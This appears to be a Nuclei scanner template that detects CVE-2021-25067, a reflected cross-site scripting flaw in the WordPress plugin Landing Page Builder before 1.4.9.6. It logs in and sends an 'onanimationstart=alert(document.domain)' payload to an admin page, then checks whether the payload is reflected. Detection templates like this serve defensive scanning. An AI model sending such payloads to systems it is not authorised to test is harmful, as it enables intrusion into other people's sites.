Landing Page Builder < 1.4.9.6 - Cross-Site Scripting

id: CVE-2021-25067

info:
  name: Landing Page Builder < 1.4.9.6 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    The Landing Page Builder WordPress plugin before 1.4.9.6 was affected by a reflected XSS in page-builder-add on the ulpb_post admin page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 1.4.9.6.
  reference:
    - https://wpscan.com/vulnerability/365007f0-61ac-4e81-8a3a-3a068f2c84bc
    - https://wordpress.org/plugins/page-builder-add/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25067
    - https://github.com/kazet/wpgarlic
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-25067
    cwe-id: CWE-79
    epss-score: 0.01271
    epss-percentile: 0.66313
    cpe: cpe:2.3:a:pluginops:landing_page:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: pluginops
    product: landing_page
    framework: wordpress
  tags: cve2021,cve,xss,wordpress,authenticated,wpscan,wp-plugin,wp,page-builder-add,pluginops,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=ulpb_post&page=page-builder-new-landing-page&thisPostID=test"+style=animation-name:rotation+onanimationstart=alert(document.domain)+x= HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "test\\\" style=animation-name:rotation onanimationstart=alert(document.domain)")'
          - 'contains(body_2, "Enter Page Title")'
        condition: and
# digest: 4a0a00473045022029c5540bafb344e81033b6b759d0ea3c0d2cfee18dc2bf6934f498f68473a6d9022100a72f333e703452bc52dffd7da3b5f9509b7b9d07ff1ffbd6ea274655383034b7:922c64590222798bb761d5b6d8e72950